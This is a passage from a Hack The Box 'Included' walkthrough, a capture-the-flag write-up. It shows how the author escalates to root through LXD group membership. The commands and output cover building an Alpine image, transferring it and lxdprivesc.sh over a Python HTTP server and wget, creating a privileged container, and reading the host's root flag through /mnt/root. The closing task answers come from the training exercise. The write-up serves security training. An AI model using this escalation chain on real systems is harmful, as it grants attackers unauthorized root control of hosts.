tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading apk-tools-static-2.14.0-r2.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub: OK
Verified OK
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2617  100  2617    0     0   5262      0 --:--:-- --:--:-- --:--:--  5286
--2023-05-23 17:53:37--  http://alpine.mirror.wearetriple.com/MIRRORS.txt
Resolving alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)... 93.187.10.106, 2a00:1f00:dc06:10::106
Connecting to alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)|93.187.10.106|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2617 (2.6K) [text/plain]
Saving to: ‘/home/htb-bluewalle/included/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’

/home/htb-bluewalle/inc 100%[===============================>]   2.56K  --.-KB/s    in 0s      

2023-05-23 17:53:37 (306 MB/s) - ‘/home/htb-bluewalle/included/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’ saved [2617/2617]

Selecting mirror http://mirror.kumi.systems/alpine/v3.18/main
fetch http://mirror.kumi.systems/alpine/v3.18/main/x86_64/APKINDEX.tar.gz
(1/25) Installing alpine-baselayout-data (3.4.3-r1)
(2/25) Installing musl (1.2.4-r0)
(3/25) Installing busybox (1.36.0-r9)
Executing busybox-1.36.0-r9.post-install
(4/25) Installing busybox-binsh (1.36.0-r9)
(5/25) Installing alpine-baselayout (3.4.3-r1)
Executing alpine-baselayout-3.4.3-r1.pre-install
Executing alpine-baselayout-3.4.3-r1.post-install
(6/25) Installing ifupdown-ng (0.12.1-r2)
(7/25) Installing libcap2 (2.69-r0)
(8/25) Installing openrc (0.47.1-r0)
Executing openrc-0.47.1-r0.post-install
(9/25) Installing mdev-conf (4.5-r0)
(10/25) Installing busybox-mdev-openrc (1.36.0-r9)
(11/25) Installing alpine-conf (3.16.1-r1)
(12/25) Installing alpine-keys (2.4-r1)
(13/25) Installing alpine-release (3.18.0-r0)
(14/25) Installing ca-certificates-bundle (20230506-r0)
(15/25) Installing libcrypto3 (3.1.0-r4)
(16/25) Installing libssl3 (3.1.0-r4)
(17/25) Installing ssl_client (1.36.0-r9)
(18/25) Installing zlib (1.2.13-r1)
(19/25) Installing apk-tools (2.14.0-r2)
(20/25) Installing busybox-openrc (1.36.0-r9)
(21/25) Installing busybox-suid (1.36.0-r9)
(22/25) Installing scanelf (1.3.7-r1)
(23/25) Installing musl-utils (1.2.4-r0)
(24/25) Installing libc-utils (0.7.2-r5)
(25/25) Installing alpine-base (3.18.0-r0)
Executing busybox-1.36.0-r9.trigger
OK: 10 MiB in 25 packages
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ ll
total 3.6M
-rw-r--r-- 1 root          root          3.6M May 23 17:53 alpine-v3.18-x86_64-20230523_1753.tar.gz
-rwxr-xr-x 1 htb-bluewalle htb-bluewalle 7.9K May 23 17:48 build-alpine
-rwxr-xr-x 1 htb-bluewalle htb-bluewalle 1.5K May 23 17:34 lxdprivesc.sh
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 5.4K May 23 16:56 revshell.php
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ mv alpine-v3.18-x86_64-20230523_1753.tar.gz alpinebuild.tar.gz
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$
  • Step 3: Run this script and you will get root [Victim Machine]

First, we will need to move the generated alpine file and the script over to our target. One way to achieve this is to use the http.server python module.

It is important to start the http server in the same directory where the two files are located.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

Then we use wget on our target to download these same files.

mike@included:/var/www/html$ cd /tmp/
mike@included:/tmp$ wget http://10.10.14.75:8888/alpinebuild.tar.gz
--2023-05-23 17:05:43--  http://10.10.14.75:8888/alpinebuild.tar.gz
Connecting to 10.10.14.75:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3705051 (3.5M) [application/gzip]
Saving to: ‘alpinebuild.tar.gz’

alpinebuild.tar.gz  100%[===================>]   3.53M  23.5MB/s    in 0.2s    

2023-05-23 17:05:43 (23.5 MB/s) - ‘alpinebuild.tar.gz’ saved [3705051/3705051]

mike@included:/tmp$ wget http://10.10.14.75:8888/lxdprivesc.sh
--2023-05-23 17:05:57--  http://10.10.14.75:8888/lxdprivesc.sh
Connecting to 10.10.14.75:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1451 (1.4K) [text/x-sh]
Saving to: ‘lxdprivesc.sh’

lxdprivesc.sh       100%[===================>]   1.42K  --.-KB/s    in 0s      

2023-05-23 17:05:57 (70.4 MB/s) - ‘lxdprivesc.sh’ saved [1451/1451]

mike@included:/tmp$ ll
total 3632
drwxrwxrwt  2 root root    4096 May 23 17:05 ./
drwxr-xr-x 24 root root    4096 Oct 11  2021 ../
-rw-rw-r--  1 mike mike 3705051 May 23 16:53 alpinebuild.tar.gz
-rw-rw-r--  1 mike mike    1451 May 23 16:34 lxdprivesc.sh
mike@included:/tmp$

Finally, we run the script.

mike@included:/tmp$ chmod a+x lxdprivesc.sh 
mike@included:/tmp$ ll
total 3632
drwxrwxrwt  2 root root    4096 May 23 17:10 ./
drwxr-xr-x 24 root root    4096 Oct 11  2021 ../
-rw-rw-r--  1 mike mike 3705051 May 23 16:53 alpinebuild.tar.gz
-rwxrwxr-x  1 mike mike    1451 May 23 16:34 lxdprivesc.sh*
mike@included:/tmp$ ./lxdprivesc.sh -f alpinebuild.tar.gz 
[*] Listing images...

+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE          |
+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| alpine | c3c843ed2546 | no     | alpine v3.18 (20230523_17:53) | x86_64 | 3.53MB | May 23, 2023 at 5:11pm (UTC) |
+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
Creating privesc
Device giveMeRoot added to privesc
~ #

Moving on to the last step.

  • Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine
~ # cd /mnt/root
/mnt/root # ls -hla
total 100K   
drwxr-xr-x   24 root     root        4.0K Oct 11  2021 .
drwxr-xr-x    3 root     root        4.0K May 23 17:11 ..
drwxr-xr-x    2 root     root        4.0K Jul 26  2021 bin
drwxr-xr-x    3 root     root        4.0K Oct 11  2021 boot
drwxr-xr-x    2 root     root        4.0K Apr 23  2021 cdrom
drwxr-xr-x   17 root     root        3.8K May 23 14:01 dev
drwxr-xr-x   98 root     root        4.0K Jul 26  2021 etc
drwxr-xr-x    3 root     root        4.0K Mar  5  2020 home
lrwxrwxrwx    1 root     root          34 Jul 26  2021 initrd.img -> boot/initrd.img-4.15.0-151-generic
lrwxrwxrwx    1 root     root          34 Oct 11  2021 initrd.img.old -> boot/initrd.img-4.15.0-151-generic
drwxr-xr-x   21 root     root        4.0K Jul 26  2021 lib
drwxr-xr-x    2 root     root        4.0K Jul 26  2021 lib64
drwx------    2 root     root       16.0K Mar  5  2020 lost+found
drwxr-xr-x    2 root     root        4.0K Apr 23  2021 media
drwxr-xr-x    2 root     root        4.0K Aug  5  2019 mnt
drwxr-xr-x    2 root     root        4.0K Apr 23  2021 opt
dr-xr-xr-x  149 root     root           0 May 23 14:01 proc
drwx------    7 root     root        4.0K Apr 23  2021 root
drwxr-xr-x   26 root     root         920 May 23 17:11 run
drwxr-xr-x    2 root     root       12.0K Jul 26  2021 sbin
drwxr-xr-x    4 root     root        4.0K Apr 23  2021 snap
drwxr-xr-x    2 root     root        4.0K Apr 23  2021 srv
dr-xr-xr-x   13 root     root           0 May 23 16:12 sys
drwxrwxrwt   11 root     root        4.0K May 23 17:11 tmp
drwxr-xr-x   11 root     root        4.0K Jul 26  2021 usr
drwxr-xr-x   14 root     root        4.0K Apr 23  2021 var
lrwxrwxrwx    1 root     root          31 Jul 26  2021 vmlinuz -> boot/vmlinuz-4.15.0-151-generic
lrwxrwxrwx    1 root     root          31 Oct 11  2021 vmlinuz.old -> boot/vmlinuz-4.15.0-151-generic
/mnt/root #

Since we are already here, how about grabbing the root flag?

/mnt/root # cd root/
/mnt/root/root # ls -hlag
total 40K    
drwx------    7 root        4.0K Apr 23  2021 .
drwxr-xr-x   24 root        4.0K Oct 11  2021 ..
lrwxrwxrwx    1 root           9 Mar 11  2020 .bash_history -> /dev/null
-rw-r--r--    1 root        3.0K Apr  9  2018 .bashrc
drwx------    2 root        4.0K Apr 23  2021 .cache
drwxr-x---    3 root        4.0K Mar 11  2020 .config
drwx------    3 root        4.0K Apr 23  2021 .gnupg
drwxr-xr-x    3 root        4.0K Mar  5  2020 .local
-rw-r--r--    1 root         148 Aug 17  2015 .profile
drwx------    2 root        4.0K Apr 23  2021 .ssh
-r--------    1 root          33 Mar  9  2020 root.txt
/mnt/root/root # cat root.txt 
<flag>
/mnt/root/root #

alpine

TASK 7

Question: What flag do we set to the container so that it has root privileges on the host system?

Well, since we went and used the exploit we found, the answer here may not seem so trivial. But as always, a thorough internet research simply get’s the job done.

security.privileged=true

TASK 8

Question: If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?

See Step 4 from TASK7.

/mnt/root/

SUBMIT FLAG

Question: Submit user flag

It was already acquired during TASK5.

flag

SUBMIT FLAG

Question: Submit root flag

Similar to the user flag, the root flag was already grabbed during TASK6.

flag

Congratulations, we just successfully pwned the target machine. All we have left to do now is to terminate the target box (if not terminated automatically) before we continue with the next box!